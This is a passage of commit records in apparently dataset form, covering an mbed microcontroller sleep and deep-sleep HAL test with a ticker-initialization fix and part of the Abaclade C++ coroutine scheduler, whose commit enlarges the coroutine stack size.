frequency ticker interrupt can wake-up target from sleep. *\/\nvoid sleep_usticker_test()\n{\n#if 0\n    const ticker_data_t * ticker = get_us_ticker_data();\n    const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n    const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n    const ticker_irq_handler_type us_ticker_irq_handler_org = set_us_ticker_irq_handler(us_ticker_isr);\n\n    \/* Test only sleep functionality. *\/\n    sleep_manager_lock_deep_sleep();\n    TEST_ASSERT_FALSE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should be locked\");\n\n    \/* Testing wake-up time 10 us. *\/\n    for (timestamp_t i = 100; i < 1000; i += 100) {\n        \/* note: us_ticker_read() operates on ticks. *\/\n        const timestamp_t next_match_timestamp = overflow_protect(us_ticker_read() + us_to_ticks(i, ticker_freq),\n                ticker_width);\n\n        us_ticker_set_interrupt(next_match_timestamp);\n\n        sleep();\n\n        const unsigned int wakeup_timestamp = us_ticker_read();\n\n        TEST_ASSERT(\n                compare_timestamps(us_to_ticks(sleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp,\n                        wakeup_timestamp));\n    }\n\n    set_us_ticker_irq_handler(us_ticker_irq_handler_org);\n\n    sleep_manager_unlock_deep_sleep();\n    TEST_ASSERT_TRUE(sleep_manager_can_deep_sleep());\n#endif\n}\n\n#ifdef DEVICE_LPTICKER\n\n\/* Test that wake-up time from sleep should be less than 10 ms and\n * low power ticker interrupt can wake-up target from sleep. *\/\nvoid deepsleep_lpticker_test()\n{\n    const ticker_data_t * ticker = get_lp_ticker_data();\n    const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n    const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n    const ticker_irq_handler_type lp_ticker_irq_handler_org = set_lp_ticker_irq_handler(lp_ticker_isr);\n\n    \/* Give some time Green Tea to finish UART transmission before entering\n     * deep-sleep mode.\n     *\/\n    wait_ms(10);\n\n    TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n    \/* Testing wake-up time 10 ms. *\/\n    for (timestamp_t i = 20000; i < 200000; i += 20000) {\n        \/* note: lp_ticker_read() operates on ticks. *\/\n        const timestamp_t next_match_timestamp = overflow_protect(lp_ticker_read() + us_to_ticks(i, ticker_freq), ticker_width);\n\n        lp_ticker_set_interrupt(next_match_timestamp);\n\n        sleep();\n\n        const timestamp_t wakeup_timestamp = lp_ticker_read();\n\n        TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp, wakeup_timestamp));\n    }\n\n    set_lp_ticker_irq_handler(lp_ticker_irq_handler_org);\n\n}\n\nvoid deepsleep_high_speed_clocks_turned_off_test()\n{\n    const ticker_data_t * us_ticker = get_us_ticker_data();\n    const ticker_data_t * lp_ticker = get_lp_ticker_data();\n    const unsigned int us_ticker_freq = us_ticker->interface->get_info()->frequency;\n    const unsigned int lp_ticker_freq = lp_ticker->interface->get_info()->frequency;\n    const unsigned int us_ticker_width = us_ticker->interface->get_info()->bits;\n    const unsigned int lp_ticker_width = lp_ticker->interface->get_info()->bits;\n    const unsigned int us_ticker_mask = ((1 << us_ticker_width) - 1);\n\n    \/* Give some time Green Tea to finish UART transmission before entering\n     * deep-sleep mode.\n     *\/\n    wait_ms(10);\n\n    TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n    const unsigned int us_ticks_before_sleep = us_ticker_read();\n\n    const timestamp_t wakeup_time = lp_ticker_read() + us_to_ticks(20000, lp_ticker_freq);\n    lp_ticker_set_interrupt(wakeup_time);\n\n    sleep();\n\n    const unsigned int us_ticks_after_sleep = us_ticker_read();\n    const unsigned int lp_ticks_after_sleep = lp_ticker_read();\n\n    \/* High freqency ticker should be disabled in deep-sleep mode. We expect that time difference between\n     * ticker reads before and after the sleep represents only code execution time between calls.\n     * Since we went to sleep for about 20 ms check if time counted by high frequency timer does not\n     * exceed 1 ms.\n     *\/\n    const unsigned int us_ticks_diff = (us_ticks_before_sleep <= us_ticks_after_sleep) ? (us_ticks_after_sleep - us_ticks_before_sleep) : (us_ticker_mask - us_ticks_before_sleep + us_ticks_after_sleep + 1);\n\n    TEST_ASSERT_UINT32_WITHIN(1000, 0, ticks_to_us(us_ticks_diff, us_ticker_freq));\n\n    \/* Check if we have woken-up after expected time. *\/\n    TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, lp_ticker_freq), lp_ticker_width, wakeup_time, lp_ticks_after_sleep));\n}\n\n#endif\n\nutest::v1::status_t greentea_failure_handler(const Case * const source, const failure_t reason)\n{\n    greentea_case_failure_abort_handler(source, reason);\n    return STATUS_CONTINUE;\n}\n\nutest::v1::status_t greentea_test_setup(const size_t number_of_cases)\n{\n    GREENTEA_SETUP(60, \"default_auto\");\n    us_ticker_init();\n#if DEVICE_LPTICKER\n    lp_ticker_init();\n#endif\n    \/* Suspend RTOS Kernel to enable sleep modes. *\/\n    osKernelSuspend();\n    return greentea_test_setup_handler(number_of_cases);\n}\n\nCase cases[] =\n        { Case(\"sleep - source of wake-up - us ticker\", sleep_usticker_test, greentea_failure_handler),\n#if DEVICE_LPTICKER\n        Case(\"deep-sleep - source of wake-up - lp ticker\",deepsleep_lpticker_test, greentea_failure_handler),\n        Case(\"deep-sleep - high-speed clocks are turned off\",deepsleep_high_speed_clocks_turned_off_test, greentea_failure_handler),\n#endif\n        };\n\nSpecification specification(greentea_test_setup, cases, greentea_test_teardown_handler);\n\nint main()\n{\n    Harness::run(specification);\n}\n<commit_msg>HAL sleep test fix<commit_after>\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if 1 || !DEVICE_SLEEP\n#error [NOT_SUPPORTED] sleep not supported for this target\n#endif\n\n#include \"mbed.h\"\n\n#include \"utest\/utest.h\"\n#include \"unity\/unity.h\"\n#include \"greentea-client\/test_env.h\"\n\n#include \"sleep_api_tests.h\"\n\n#define US_PER_S 1000000\n\nusing namespace utest::v1;\n\n\/* The following ticker frequencies are possible:\n * high frequency ticker: 250 KHz (1 tick per 4 us) - 8 Mhz (1 tick per 1\/8 us)\n * low power ticker: 8 KHz (1 tick per 125 us) - 64 KHz (1 tick per ~15.6 us)\n *\/\n\n\/* Used for regular sleep mode, a target should be awake within 10 us. Define us delta value as follows:\n * delta = default 10 us + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t sleep_mode_delta_us = (10 + 4 + 5);\n\n\/* Used for deep-sleep mode, a target should be awake within 10 ms. Define us delta value as follows:\n * delta = default 10 ms + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t deepsleep_mode_delta_us = (10000 + 125 + 5);\n\nunsigned int ticks_to_us(unsigned int ticks, unsigned int freq)\n{\n    return (unsigned int) ((unsigned long long) ticks * US_PER_S \/ freq);\n}\n\nunsigned int us_to_ticks(unsigned int us, unsigned int freq)\n{\n    return (unsigned int) ((unsigned long long) us * freq \/ US_PER_S);\n}\n\nunsigned int overflow_protect(unsigned int timestamp, unsigned int ticker_width)\n{\n    unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n    return (timestamp & counter_mask);\n}\n\nbool compare_timestamps(unsigned int delta_ticks, unsigned int ticker_width, unsigned int expected, unsigned int actual)\n{\n    const unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n    const unsigned int lower_bound = ((expected - delta_ticks) & counter_mask);\n    const unsigned int upper_bound = ((expected + delta_ticks) & counter_mask);\n\n    if (lower_bound < upper_bound) {\n        if (actual >= lower_bound && actual <= upper_bound) {\n            return true;\n        } else {\n            return false;\n        }\n    } else {\n        if ((actual >= lower_bound && actual <= counter_mask) || (actual >= 0 && actual <= upper_bound)) {\n            return true;\n        } else {\n            return false;\n        }\n    }\n}\n\nvoid us_ticker_isr(const ticker_data_t * const ticker_data)\n{\n    us_ticker_clear_interrupt();\n}\n\n#ifdef DEVICE_LPTICKER\nvoid lp_ticker_isr(const ticker_data_t *const ticker_data)\n{\n    lp_ticker_clear_interrupt();\n}\n#endif\n\n\/* Test that wake-up time from sleep should be less than 10 us and\n * high frequency ticker interrupt can wake-up target from sleep. *\/\nvoid sleep_usticker_test()\n{\n#if 0\n    const ticker_data_t * ticker = get_us_ticker_data();\n    const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n    const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n    const ticker_irq_handler_type us_ticker_irq_handler_org = set_us_ticker_irq_handler(us_ticker_isr);\n\n    \/\/ call ticker_read_us to initialize ticker upper layer\n    \/\/ prevents subsequent scheduling of max_delta interrupt during ticker initialization while test execution\n    \/\/ (e.g when ticker_read_us is called)\n    ticker_read_us(ticker);\n\n    \/* Test only sleep functionality. *\/\n    sleep_manager_lock_deep_sleep();\n    TEST_ASSERT_FALSE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should be locked\");\n\n    \/* Testing wake-up time 10 us. *\/\n    for (timestamp_t i = 100; i < 1000; i += 100) {\n        \/* note: us_ticker_read() operates on ticks. *\/\n        const timestamp_t next_match_timestamp = overflow_protect(us_ticker_read() + us_to_ticks(i, ticker_freq),\n                ticker_width);\n\n        us_ticker_set_interrupt(next_match_timestamp);\n\n        sleep();\n\n        const unsigned int wakeup_timestamp = us_ticker_read();\n\n        TEST_ASSERT(\n                compare_timestamps(us_to_ticks(sleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp,\n                        wakeup_timestamp));\n    }\n\n    set_us_ticker_irq_handler(us_ticker_irq_handler_org);\n\n    sleep_manager_unlock_deep_sleep();\n    TEST_ASSERT_TRUE(sleep_manager_can_deep_sleep());\n#endif\n}\n\n#ifdef DEVICE_LPTICKER\n\n\/* Test that wake-up time from sleep should be less than 10 ms and\n * low power ticker interrupt can wake-up target from sleep. *\/\nvoid deepsleep_lpticker_test()\n{\n    const ticker_data_t * ticker = get_lp_ticker_data();\n    const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n    const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n    \/\/ call ticker_read_us to initialize ticker upper layer\n    \/\/ prevents subsequent scheduling of max_delta interrupt during ticker initialization while test execution\n    \/\/ (e.g when ticker_read_us is called)\n    ticker_read_us(ticker);\n\n    const ticker_irq_handler_type lp_ticker_irq_handler_org = set_lp_ticker_irq_handler(lp_ticker_isr);\n\n    \/* Give some time Green Tea to finish UART transmission before entering\n     * deep-sleep mode.\n     *\/\n    wait_ms(10);\n\n    TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n    \/* Testing wake-up time 10 ms. *\/\n    for (timestamp_t i = 20000; i < 200000; i += 20000) {\n        \/* note: lp_ticker_read() operates on ticks. *\/\n        const timestamp_t next_match_timestamp = overflow_protect(lp_ticker_read() + us_to_ticks(i, ticker_freq), ticker_width);\n\n        lp_ticker_set_interrupt(next_match_timestamp);\n\n        sleep();\n\n        const timestamp_t wakeup_timestamp = lp_ticker_read();\n\n        TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp, wakeup_timestamp));\n    }\n\n    set_lp_ticker_irq_handler(lp_ticker_irq_handler_org);\n\n}\n\nvoid deepsleep_high_speed_clocks_turned_off_test()\n{\n    const ticker_data_t * us_ticker = get_us_ticker_data();\n    const ticker_data_t * lp_ticker = get_lp_ticker_data();\n    const unsigned int us_ticker_freq = us_ticker->interface->get_info()->frequency;\n    const unsigned int lp_ticker_freq = lp_ticker->interface->get_info()->frequency;\n    const unsigned int us_ticker_width = us_ticker->interface->get_info()->bits;\n    const unsigned int lp_ticker_width = lp_ticker->interface->get_info()->bits;\n    const unsigned int us_ticker_mask = ((1 << us_ticker_width) - 1);\n\n    \/* Give some time Green Tea to finish UART transmission before entering\n     * deep-sleep mode.\n     *\/\n    wait_ms(10);\n\n    TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n    const unsigned int us_ticks_before_sleep = us_ticker_read();\n\n    const timestamp_t wakeup_time = lp_ticker_read() + us_to_ticks(20000, lp_ticker_freq);\n    lp_ticker_set_interrupt(wakeup_time);\n\n    sleep();\n\n    const unsigned int us_ticks_after_sleep = us_ticker_read();\n    const unsigned int lp_ticks_after_sleep = lp_ticker_read();\n\n    \/* High freqency ticker should be disabled in deep-sleep mode. We expect that time difference between\n     * ticker reads before and after the sleep represents only code execution time between calls.\n     * Since we went to sleep for about 20 ms check if time counted by high frequency timer does not\n     * exceed 1 ms.\n     *\/\n    const unsigned int us_ticks_diff = (us_ticks_before_sleep <= us_ticks_after_sleep) ? (us_ticks_after_sleep - us_ticks_before_sleep) : (us_ticker_mask - us_ticks_before_sleep + us_ticks_after_sleep + 1);\n\n    TEST_ASSERT_UINT32_WITHIN(1000, 0, ticks_to_us(us_ticks_diff, us_ticker_freq));\n\n    \/* Check if we have woken-up after expected time. *\/\n    TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, lp_ticker_freq), lp_ticker_width, wakeup_time, lp_ticks_after_sleep));\n}\n\n#endif\n\nutest::v1::status_t greentea_failure_handler(const Case * const source, const failure_t reason)\n{\n    greentea_case_failure_abort_handler(source, reason);\n    return STATUS_CONTINUE;\n}\n\nutest::v1::status_t greentea_test_setup(const size_t number_of_cases)\n{\n    GREENTEA_SETUP(60, \"default_auto\");\n    us_ticker_init();\n#if DEVICE_LPTICKER\n    lp_ticker_init();\n#endif\n    \/* Suspend RTOS Kernel to enable sleep modes. *\/\n    osKernelSuspend();\n    return greentea_test_setup_handler(number_of_cases);\n}\n\nCase cases[] =\n        { Case(\"sleep - source of wake-up - us ticker\", sleep_usticker_test, greentea_failure_handler),\n#if DEVICE_LPTICKER\n        Case(\"deep-sleep - source of wake-up - lp ticker\",deepsleep_lpticker_test, greentea_failure_handler),\n        Case(\"deep-sleep - high-speed clocks are turned off\",deepsleep_high_speed_clocks_turned_off_test, greentea_failure_handler),\n#endif\n        };\n\nSpecification specification(greentea_test_setup, cases, greentea_test_teardown_handler);\n\nint main()\n{\n    Harness::run(specification);\n}\n<|endoftext|>"}
{"text":"<commit_before>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2015\nRaffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nGeneral Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along with Abaclade. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#include <abaclade.hxx>\n#include <abaclade\/coroutine.hxx>\n\n#if ABC_HOST_API_POSIX\n   #include <errno.h> \/\/ EINTR errno\n   #if ABC_HOST_API_DARWIN\n      #define _XOPEN_SOURCE\n   #endif\n   #include <signal.h> \/\/ MINSIGSTKSZ\n   #include <ucontext.h>\n   #if ABC_HOST_API_BSD\n      #include <sys\/types.h>\n      #include <sys\/event.h>\n      #include <sys\/time.h>\n   #elif ABC_HOST_API_LINUX\n      #include <sys\/epoll.h>\n   #endif\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::coroutine\n\nnamespace abc {\n\nclass coroutine::context : public noncopyable {\npublic:\n   context(std::function<void ()> fnMain) :\n      m_fnInnerMain(std::move(fnMain)) {\n   }\n\n#if ABC_HOST_API_POSIX\n   void reset(::ucontext_t * puctxReturn) {\n      if (::getcontext(&m_uctx) < 0) {\n         exception::throw_os_error();\n      }\n      m_uctx.uc_stack.ss_sp = reinterpret_cast<char *>(&m_aiStack);\n      m_uctx.uc_stack.ss_size = sizeof m_aiStack;\n      m_uctx.uc_link = puctxReturn;\n      ::makecontext(&m_uctx, reinterpret_cast<void (*)()>(&outer_main), 1, this);\n   }\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n\n#if ABC_HOST_API_POSIX\n   \/*! Returns a pointer to the internal ::ucontext_t.\n\n   @return\n      Pointer to the context’s ::ucontext_t member.\n   *\/\n   ::ucontext_t * ucontext_ptr() {\n      return &m_uctx;\n   }\n#endif\n\nprivate:\n   static void outer_main(void * p) {\n      context * pctx = static_cast<context *>(p);\n      try {\n         pctx->m_fnInnerMain();\n      } catch (std::exception const & x) {\n         exception::write_with_scope_trace(nullptr, &x);\n         \/\/ TODO: maybe support “moving” the exception to the return coroutine context?\n      } catch (...) {\n         exception::write_with_scope_trace();\n         \/\/ TODO: maybe support “moving” the exception to the return coroutine context?\n      }\n   }\n\nprivate:\n#if ABC_HOST_API_POSIX\n   ::ucontext_t m_uctx;\n   abc::max_align_t m_aiStack[ABC_ALIGNED_SIZE(MINSIGSTKSZ)];\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n   std::function<void ()> m_fnInnerMain;\n};\n\n\ncoroutine::coroutine() {\n}\n\/*explicit*\/ coroutine::coroutine(std::function<void ()> fnMain) :\n   m_pctx(std::make_shared<coroutine::context>(std::move(fnMain))) {\n}\n\ncoroutine::~coroutine() {\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::coroutine_scheduler\n\nnamespace abc {\n\n#if ABC_HOST_API_POSIX\n\nclass coroutine_scheduler_impl : public coroutine_scheduler {\npublic:\n   \/\/! Constructor.\n   coroutine_scheduler_impl() :\n#if ABC_HOST_API_BSD\n      m_fdKqueue(::kqueue()) {\n      if (!m_fdKqueue) {\n         exception::throw_os_error();\n      }\n      \/\/ TODO: set close-on-exec. ::kqueue1() may be available on some systems; investigate that.\n#elif ABC_HOST_API_LINUX\n      m_fdEpoll(::epoll_create1(EPOLL_CLOEXEC)) {\n      if (!m_fdEpoll) {\n         exception::throw_os_error();\n      }\n#else\n   #error \"TODO: HOST_API\"\n#endif\n   }\n\n   \/\/! Destructor.\n   virtual ~coroutine_scheduler_impl() {\n      \/\/ TODO: verify that m_listStartingCoros and m_mapBlockedCoros are empty.\n   }\n\n   \/\/! See coroutine_scheduler::run().\n   virtual void run() override {\n      while ((m_pcoroctxActive = find_coroutine_to_activate())) {\n         if (::swapcontext(&m_uctxReturn, m_pcoroctxActive->ucontext_ptr()) < 0) {\n            \/* TODO: in case of errors, which should never happen here since all coroutines have the\n            same stack size, inject a stack overflow exception in *m_pcoroctxActive. *\/\n         }\n      }\n      \/\/ Release the last coroutine.\n      m_pcoroctxActive.reset();\n   }\n\n   \/\/! See coroutine_scheduler::yield_while_async_pending().\n   virtual void yield_while_async_pending(io::filedesc const & fd, bool bWrite) override {\n      \/\/ Add fd as a new event source.\n#if ABC_HOST_API_BSD\n      struct ::kevent ke;\n      ke.ident = static_cast<std::uintptr_t>(fd.get());\n      \/\/ Use EV_ONESHOT to avoid waking up multiple threads for the same fd becoming ready.\n      ke.flags = EV_ADD | EV_ONESHOT | EV_EOF ;\n      ke.filter = bWrite ? EVFILT_WRITE : EVFILT_READ;\n      if (::kevent(m_fdKqueue.get(), &ke, 1, nullptr, 0, nullptr) < 0) {\n         exception::throw_os_error();\n      }\n#elif ABC_HOST_API_LINUX\n      ::epoll_event ee;\n      ee.data.fd = fd.get();\n      \/* Use EPOLLONESHOT to avoid waking up multiple threads for the same fd becoming ready. This\n      means we’d need to then rearm it in find_coroutine_to_activate() when it becomes ready, but\n      we’ll remove it instead. *\/\n      ee.events = EPOLLONESHOT | EPOLLPRI | (bWrite ? EPOLLOUT : EPOLLIN);\n      if (::epoll_ctl(m_fdEpoll.get(), EPOLL_CTL_ADD, fd.get(), &ee) < 0) {\n         exception::throw_os_error();\n      }\n#else\n   #error \"TODO: HOST_API\"\n#endif\n      \/\/ Deactivate the current coroutine and find one to activate instead.\n      coroutine::context * pcoroctxActive = m_pcoroctxActive.get();\n      auto itBlockedCoro(\n         m_mapBlockedCoros.add_or_assign(fd.get(), std::move(m_pcoroctxActive)).first\n      );\n      try {\n         m_pcoroctxActive = find_coroutine_to_activate();\n      } catch (...) {\n         \/\/ If anything went wrong, restore the coroutine that was active.\n         m_pcoroctxActive = m_mapBlockedCoros.extract(itBlockedCoro);\n         throw;\n      }\n      \/* If the context changed, i.e. the coroutine that’s ready to run is not the one that was\n      active, switch to it. *\/\n      if (m_pcoroctxActive.get() != pcoroctxActive) {\n         if (::swapcontext(pcoroctxActive->ucontext_ptr(), m_pcoroctxActive->ucontext_ptr()) < 0) {\n            \/* TODO: in case of errors, which should never happen here since all coroutines have the\n            same stack size, inject a stack overflow exception in *m_pcoroctxActive. *\/\n         }\n      }\n   }\n\nprivate:\n   std::shared_ptr<coroutine::context> find_coroutine_to_activate() {\n      \/\/ This loop will only repeat in case of EINTR from the blocking-wait API.\n      for (;;) {\n         if (m_listStartingCoros) {\n            \/\/ There are coroutines that haven’t had a chance to run; remove and schedule the first.\n            auto pcoroctx(m_listStartingCoros.pop_front());\n            \/* TODO: verify how this behaves in a multithreaded scenario: which thread should this\n            coroutine return to? *\/\n            pcoroctx->reset(&m_uctxReturn);\n            return std::move(pcoroctx);\n         } else if (m_mapBlockedCoros) {\n            \/\/ There are blocked coroutines; wait for the first one to become ready again.\n#if ABC_HOST_API_BSD\n            struct ::kevent ke;\n            if (::kevent(m_fdKqueue.get(), nullptr, 0, &ke, 1, nullptr) < 0) {\n#elif ABC_HOST_API_LINUX\n            ::epoll_event ee;\n            if (::epoll_wait(m_fdEpoll.get(), &ee, 1, -1) < 0) {\n#else\n   #error \"TODO: HOST_API\"\n#endif\n               int iErr = errno;\n               if (iErr == EINTR) {\n                  continue;\n               }\n               exception::throw_os_error(iErr);\n            }\n            io::filedesc_t fd;\n#if ABC_HOST_API_BSD\n            fd = static_cast<int>(ke.ident);\n#elif ABC_HOST_API_LINUX\n            fd = ee.data.fd;\n            \/\/ Remove fd from the epoll. Ignore errors since we wouldn’t know what to do aobut them.\n            ::epoll_ctl(m_fdEpoll.get(), EPOLL_CTL_DEL, fd, nullptr);\n#endif\n            \/\/ Remove from m_mapBlockedCoros and return the coroutine that was waiting for fd.\n            return m_mapBlockedCoros.extract(fd);\n         } else {\n            return nullptr;\n         }\n      }\n   }\n\nprivate:\n#if ABC_HOST_API_BSD\n   \/\/! File descriptor of the internal kqueue.\n   io::filedesc m_fdKqueue;\n#elif ABC_HOST_API_LINUX\n   \/\/! File descriptor of the internal epoll.\n   io::filedesc m_fdEpoll;\n#else\n   #error \"TODO: HOST_API\"\n#endif\n   \/\/! Coroutines that are blocked on a fd wait.\n   collections::map<io::filedesc_t, std::shared_ptr<coroutine::context>> m_mapBlockedCoros;\n   \/\/! Coroutine context that every coroutine eventually returns to.\n   ::ucontext_t m_uctxReturn;\n};\n\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n\n\nthread_local_value<std::shared_ptr<coroutine_scheduler>> coroutine_scheduler::sm_pcorosched;\n\ncoroutine_scheduler::coroutine_scheduler() :\n   m_pcoroctxActive(nullptr) {\n}\n\ncoroutine_scheduler::~coroutine_scheduler() {\n}\n\nvoid coroutine_scheduler::add_coroutine(coroutine const & coro) {\n   \/\/ Add the coroutine to those ready to start.\n   m_listStartingCoros.push_back(coro.m_pctx);\n}\n\n\/*static*\/ coroutine_scheduler & coroutine_scheduler::attach_to_current_thread(\n   std::shared_ptr<coroutine_scheduler> pcorosched \/*= nullptr*\/\n) {\n   if (sm_pcorosched.operator std::shared_ptr<coroutine_scheduler> const &()) {\n      \/\/ The current thread already has a coroutine scheduler.\n      \/\/ TODO: use a better exception class.\n      ABC_THROW(generic_error, ());\n   }\n   if (!pcorosched) {\n      pcorosched = std::make_shared<coroutine_scheduler_impl>();\n   }\n   return *(\n      sm_pcorosched = std::move(pcorosched)\n   ).operator std::shared_ptr<coroutine_scheduler> const &();\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>Use SIGSTKSZ instead of MINSIGSTKSZ, which is too little under Linux<commit_after>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2015\nRaffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nGeneral Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along with Abaclade. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#include <abaclade.hxx>\n#include <abaclade\/coroutine.hxx>\n\n#if ABC_HOST_API_POSIX\n   #include <errno.h> \/\/ EINTR errno\n   #if ABC_HOST_API_DARWIN\n      #define _XOPEN_SOURCE\n   #endif\n   #include <signal.h> \/\/ SIGSTKSZ\n   #include <ucontext.h>\n   #if ABC_HOST_API_BSD\n      #include <sys\/types.h>\n      #include <sys\/event.h>\n      #include <sys\/time.h>\n   #elif ABC_HOST_API_LINUX\n      #include <sys\/epoll.h>\n   #endif\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::coroutine\n\nnamespace abc {\n\nclass coroutine::context : public noncopyable {\npublic:\n   context(std::function<void ()> fnMain) :\n      m_fnInnerMain(std::move(fnMain)) {\n   }\n\n#if ABC_HOST_API_POSIX\n   void reset(::ucontext_t * puctxReturn) {\n      if (::getcontext(&m_uctx) < 0) {\n         exception::throw_os_error();\n      }\n      m_uctx.uc_stack.ss_sp = reinterpret_cast<char *>(&m_aiStack);\n      m_uctx.uc_stack.ss_size = sizeof m_aiStack;\n      m_uctx.uc_link = puctxReturn;\n      ::makecontext(&m_uctx, reinterpret_cast<void (*)()>(&outer_main), 1, this);\n   }\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n\n#if ABC_HOST_API_POSIX\n   \/*! Returns a pointer to the internal ::ucontext_t.\n\n   @return\n      Pointer to the context’s ::ucontext_t member.\n   *\/\n   ::ucontext_t * ucontext_ptr() {\n      return &m_uctx;\n   }\n#endif\n\nprivate:\n   static void outer_main(void * p) {\n      context * pctx = static_cast<context *>(p);\n      try {\n         pctx->m_fnInnerMain();\n      } catch (std::exception const & x) {\n         exception::write_with_scope_trace(nullptr, &x);\n         \/\/ TODO: maybe support “moving” the exception to the return coroutine context?\n      } catch (...) {\n         exception::write_with_scope_trace();\n         \/\/ TODO: maybe support “moving” the exception to the return coroutine context?\n      }\n  